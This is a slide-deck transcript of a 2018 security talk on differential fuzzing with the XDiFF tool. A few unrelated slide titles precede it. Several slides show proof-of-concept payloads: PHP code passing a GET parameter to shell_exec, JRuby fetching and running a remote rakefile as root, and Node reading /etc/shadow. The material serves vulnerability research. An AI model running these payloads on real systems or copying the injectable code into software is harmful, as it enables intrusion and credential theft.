Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 

Fernando Arnaboldi - Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing - Codemotion Milan 2018

  • 1. IOActive, Inc. Copyright ©2018. All Rights Reserved.
  • 2. IOActive, Inc. Copyright ©2018. All Rights Reserved. Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing Fernando Arnaboldi Milan - November, 2018
  • 3. IOActive, Inc. Copyright ©2018. All Rights Reserved. Agenda • 1. What, Who, How & Why • 2. Common Fuzzing • 3. Differential Fuzzing • 4. Extended Differential Fuzzing
  • 4. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.1. What Do You Expect From Fuzzing? • Fuzzing exposes undisclosed functionalities or unexpected behaviors. • Extended differential fuzzing can expose more stuff
  • 5. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.2. Who Cares About Fuzzing? • Security Consultants • Software Testers • Software Developers
  • 6. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How • Manually or • Using an extended differential fuzzing framework (XDiFF) – Open source Python project – Multiplatform (FreeBSD, Linux, OSX, Windows) – Gathers all the information – Exposes the unexpected behaviors
  • 7. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Fuzzing Process Input Generation Software Execution Output Analysis
  • 8. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Generate the testcases Create a new databaseDefine the base values to be replaced (aka “functions”) Define the values to insert in the function Permute the values
  • 9. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.3. How: Define the Software Pick a name Define the OS Define the Input: CLI, File, URL, Stdin Define the Software
  • 10. IOActive, Inc. Copyright ©2018. All Rights Reserved. 1.4. Why this approach? To automatize the output analysis
  • 11. IOActive, Inc. Copyright ©2018. All Rights Reserved. 0.1 + 0.2 - 0.3 = 0? Nah
  • 12. IOActive, Inc. Copyright ©2018. All Rights Reserved. 9007199254740992 + 1 = 9007199254740992
  • 13. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Common Fuzzing
  • 14. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. What to Detect: • Crashes • Hangs
  • 15. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Common Fuzzing: Crashes
  • 16. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Valgrind
  • 17. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Return Codes
  • 18. IOActive, Inc. Copyright ©2018. All Rights Reserved. Ruby HHVM 2. Crashes Pypy Perl ChakraCore
  • 19. IOActive, Inc. Copyright ©2018. All Rights Reserved. 2. Crashes: XDiFF Output – Hangs
  • 20. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. Differential Fuzzing
  • 21. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. What is Differential Fuzzing? • “Execute one or more similar implementations to compare and analize their outputs” • What do we mean by output? – The standard output – The standard error – The network connections – The return code – The time required for the execution – If the software was killed or not
  • 22. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3. What to Execute • 3.1. Different implementations • 3.2. Different inputs: – CLI – File – URL – Standard Input • 3.3. Different versions • 3.4. Different operating systems
  • 23. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations
  • 24. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations: Stdout V8 (CLI) SpiderMonkey (CLI) NodeJS v7.2.1 (CLI) $ d8 -e 'print(this)’ [object.global] $ js -e 'print(this)’ [object.global] $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 25. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.1. Different Implementations: Killed or Stderr OpenJDK 8 Oracle 9 Killed No Yes Stderr Exception in thread “main” java.lang.OutOfMemoryError: Java heap space at sun.security.provider.NativePRNG$RandomIO.implGenerateSeed(NativePRNG.java:440) […]
  • 26. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs
  • 27. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs: Stdout NodeJS v7.2.1 (File) NodeJS v7.2.1 (CLI) $ echo "console.log(this)" > file.js ; node file.js {} $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 28. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.2. Different Inputs: Stdout Windows 10 Powershell (File) Windows 10 Powershell (CLI) C:>echo Invoke-Expression dir > test.ps1 C:>powershell "& ""c:test.ps1""” & : File C:test.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:3 + & "c:test.ps1” + ~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess C:>powershell -Command Invoke-Expression dir Directory: C: Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 12/13/2017 5:41 PM PerfLogs d-r--- 3/2/2018 8:45 AM Program Files d-r--- 3/1/2018 12:16 PM Program Files(x86) d-r--- 3/1/2018 12:20 PM Users d----- 3/6/2018 3:15 AM Windows -a---- 3/28/2018 10:34 AM 24 test.ps1
  • 29. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions
  • 30. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions: Stdout NodeJS v0.4.0 (CLI) NodeJS v7.2.1 (CLI) $ node -e ‘console.log(this)’ {} $ node -e 'console.log(this)' { [...SNIP...] USER: 'testuser', PATH: '/opt/local/bin:…', PWD: '/Users/testuser, HOME: '/Users/testuser', pid: 60094, [...SNIP...]
  • 31. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.3. Different Versions: Return Code or Stderr OpenJDK 8 Oracle 9 Return Code 0 1 Stderr Warning: SecureRandom is internal proprietary API and may be removed in a future release Package sun.security.provider is not visible
  • 32. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different Operating Systems
  • 33. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout • In Python 2.7 the built-in functionality cmp() compares two objects: • The following compares two floating point "not a number” values: print(cmp(float('nan'),float('nan')))
  • 34. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout (cont). Software OS Stdout CPython Linux -1 Freebsd 1 OS X 1 Windows 1 PyPy Linux 0 Freebsd 0 OS X 0 Windows 0 Jython Linux 1 Freebsd 1 OS X 1 Windows 1
  • 35. IOActive, Inc. Copyright ©2018. All Rights Reserved. 3.4. Different OS: Stdout Windows 10 Powershell (File) Linux Powershell (File) C:>echo Invoke-Expression dir > test.ps1 C:>powershell "& ""c:test.ps1""” & : File C:test.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:3 + & "c:test.ps1” + ~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess # echo Invoke-Expression dir > test.ps1 # pwsh test.ps1 Directory: / Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 3/13/18 6:07 AM bin d----- 3/3/18 3:23 PM boot d----- 3/16/18 5:45 PM dev d----- 4/5/18 9:13 AM etc d----- 3/12/18 4:33 PM home […]
  • 36. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4. Extended Differential Fuzzing
  • 37. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4. What to Detect: • Path Disclosure • User Disclosure • Error Disclosure • Code Evaluated • Command Executed • Network Connections • File Read
  • 38. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. How Files are Deleted in Linux/OSX server:tmp $ rm non-existing-file rm: non-existing-file: No such file or directory server:tmp $ touch existing-file server:tmp $ rm -i existing-file remove existing-file?
  • 39. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: XDiFF Output
  • 40. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: Powershell C:Users>powershell -Command Clear-Content -Confirm non-existing-file Clear-Content : Cannot find path 'C:Usersnon-existing-file' because it does not exist. At line:1 char:1 + Clear-Content -Confirm non-existing-file + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:Usersnon-existing- file:String) [Clear-Content], ItemNotFoundExcepti on + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.ClearContentCommand
  • 41. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: Powershell (cont’d) C:Users>echo blah > existing-file C:Users>powershell -Command Clear-Content -Confirm existing-file Confirm Are you sure you want to perform this action? Performing the operation "Clear Content" on target "Item: C:Usersexisting-file". [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"):
  • 42. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.2. User Disclosure: XDiFF Output
  • 43. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.2. User Disclosure C:>powershell -Command Start-Transcript Transcript started, output file is C:UsersAdministratorDocumentsPowerShell_transcript.DESKTOP- QIJDN98.xoUGhDVe.20180328104416.txt
  • 44. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.3. Error Disclosure: XDiFF Output
  • 45. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.4. Code Evaluated: XDiFF Output
  • 46. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.4. Code Evaluated: Perl # perl -e "use ExtUtils::Typemaps::Cmd;print embeddable_typemap("system 'id'")" String found where operator expected at (eval 1) line 1, near "require ExtUtils::Typemaps::system 'id'" (Do you need to predeclare require?) uid=0(root) gid=0(root) groups=0(root) Unable to find typemap for 'system 'id'': Tried to load both as file or module and failed.
  • 47. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: XDiFF Output
  • 48. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 1/4
  • 49. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 1/3 • Let’s define the a bash constant on index.php: • The previous file requires functions.php and shows a man page: <?php define("bash","man "); require_once("functions.php"); ?> <?php $output = shell_exec(bash.$_GET['page']); print "<pre>".$output."</pre>"; ?>
  • 50. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 2/3 • The command “man ” is executed when index.php is called:
  • 51. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 3/3 • The command “bash” is executed when functions.php is called:
  • 52. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.6. Network Connection: XDiFF Output
  • 53. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.6. Network Connection: JRuby RCE # curl http://10.0.0.1/canaryfile puts %x(id) Ruby v2.3.1 JRuby v1.7.27 # ruby -e 'require "rake";puts Rake.load_rakefile("http://10.0.0.1/canar yfile")' /usr/lib/ruby/vendor_ruby/rake/rake_mod ule.rb:28:in `load': cannot load such file -- [...SNIP...] # jruby -e 'require "rake";puts Rake.load_rakefile("http://10.0.0.1/canar yfile")' uid=0(root) gid=0(root) groups=0(root)
  • 54. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.7. File Read: XDiFF Output
  • 55. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.7. File Read: Leak Root’s Password NodeJS with Chakracore NodeJS v4.2.6 with V8 # node -e "console.log(require('/etc/shadow))" SyntaxError: Invalid character [...SNIP...] # node -e "console.log(require('/etc/shadow'))" /etc/shadow:1 (function (exports, require, module, __filename, __dirname) { root:$6$AP53wsfZ$XdxiQRFJF6PzdRd3SxD eIwKsmyEkWgNOSSg.WZR18KfLo617cR1Z swMZEPT5QTS95aH.NI2DrqmQ8rMbm8sIq/: 17172:0:14600:14::: ^ SyntaxError: Unexpected token :
  • 56. IOActive, Inc. Copyright ©2018. All Rights Reserved. Extended Differential Fuzzing Conclusions • Analyze different vulnerabilities • Expose more vulnerabilities by differential analysis • One payload could be used affect multiple pieces of software
  • 57. IOActive, Inc. Copyright ©2018 All Rights Reserved. Questions?
  • 58. IOActive, Inc. Copyright ©2018 All Rights Reserved. Tante Grazie ! XDiFF (Extended Differential Fuzzer): https://github.com/IOActive/XDiFF